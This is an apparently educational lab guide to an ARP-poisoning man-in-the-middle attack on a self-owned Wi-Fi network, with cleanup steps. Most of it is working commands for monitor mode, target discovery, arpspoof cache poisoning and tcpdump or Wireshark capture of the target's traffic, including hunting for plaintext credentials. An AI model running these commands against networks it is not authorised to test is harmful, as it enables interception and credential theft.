Prerequisites
- Kali Linux: Installed and updated (or another Linux distribution with necessary tools).
- Wireless Adapter: Capable of monitor mode and packet injection (e.g., Alfa AWUS036NHA).
- Network Setup: A controlled Wi-Fi network with a target device (e.g., a computer or smartphone you own) and a router you manage.
- Required Tools:
aircrack-ngsuite (airmon-ng,airodump-ng,aireplay-ng),dsniffsuite (arpspoof),tcpdumporWireshark.
Lab Setup
Ensure your wireless adapter is recognized and put it into monitor mode:
Identify wireless interface:iwconfigwlan0).sudo airmon-ng start wlan0wlan0 with your adapter's interface name. This command might create a new monitor interface (e.g., wlan0mon).iwconfigwlan0mon) shows "Mode:Monitor". Use this monitor interface name in subsequent commands. Let's assume it's wlan0mon for the rest of the guide.Use airodump-ng to find the target network (AP) and client devices:
sudo airodump-ng wlan0monsudo airodump-ng --bssid [Router BSSID] --channel [Channel] wlan0mon[Router BSSID] and [Channel] with the details you noted. This will show devices connected to that specific network. Identify the MAC address (STATION) of your target device. You'll also need the IP addresses of the target device and the router (gateway) later; you might find these using network scanning tools like nmap or by checking network settings on the devices if possible.To act as a man-in-the-middle, your Kali machine must forward traffic between the target and the router. Otherwise, the target will lose internet connectivity.
Enable IP forwarding:echo 1 | sudo tee /proc/sys/net/ipv4/ip_forwardarpspoof
Open two separate terminal windows. arpspoof sends crafted ARP replies to poison the ARP caches of the target and the router.
[Monitor Interface] (e.g., wlan0mon or your actual interface if not using monitor mode for arpspoof - sometimes the base interface like eth0 or wlan0 is needed if you are already connected to the network), [Target IP], and [Router IP] with the actual values for your lab setup.
sudo arpspoof -i [Monitor Interface/Network Interface] -t [Target IP] [Router IP][Target IP]) that the MAC address associated with the router's IP ([Router IP]) is your Kali machine's MAC address.sudo arpspoof -i [Monitor Interface/Network Interface] -t [Router IP] [Target IP][Router IP]) that the MAC address associated with the target's IP ([Target IP]) is your Kali machine's MAC address.Keep both terminals running.
On the target device (not Kali), open a command prompt or terminal and check its ARP table:
Windows:arp -aarp -n[Router IP]. The associated MAC address (Physical Address) should now be the MAC address of your Kali machine's network interface, not the router's actual MAC address. You might need to generate some traffic from the target (e.g., browse a website) for the entry to update.With ARP poisoning active and IP forwarding enabled, all traffic between the target and the router flows through your Kali machine. Open a third terminal or use Wireshark to capture this traffic.
Usingtcpdump (Terminal):
sudo tcpdump -i [Monitor Interface/Network Interface] -A host [Target IP]-A). You can see HTTP traffic, DNS requests, etc. Omit host [Target IP] to capture all traffic flowing through the interface.Wireshark (GUI):
sudo wiresharkip.addr == [Target IP]) to focus on traffic related to the target device. Look for interesting protocols like HTTP (for unencrypted credentials), DNS, etc.After you finish the lab, you must stop the ARP poisoning and restore the network to its normal state. Failure to do so will leave the target device unable to communicate correctly.
Stoparpspoof:
Go to the two terminals running arpspoof and press Ctrl+C in each. arpspoof should automatically send corrective ARP packets upon termination to fix the ARP tables.
echo 0 | sudo tee /proc/sys/net/ipv4/ip_forwardsudo airmon-ng stop wlan0monVerify connectivity on the target device. It might take a moment for the ARP caches to update naturally, or you can sometimes clear the cache manually (e.g., sudo ip -s -s neigh flush all on Linux, netsh interface ip delete arpcache on Windows as admin).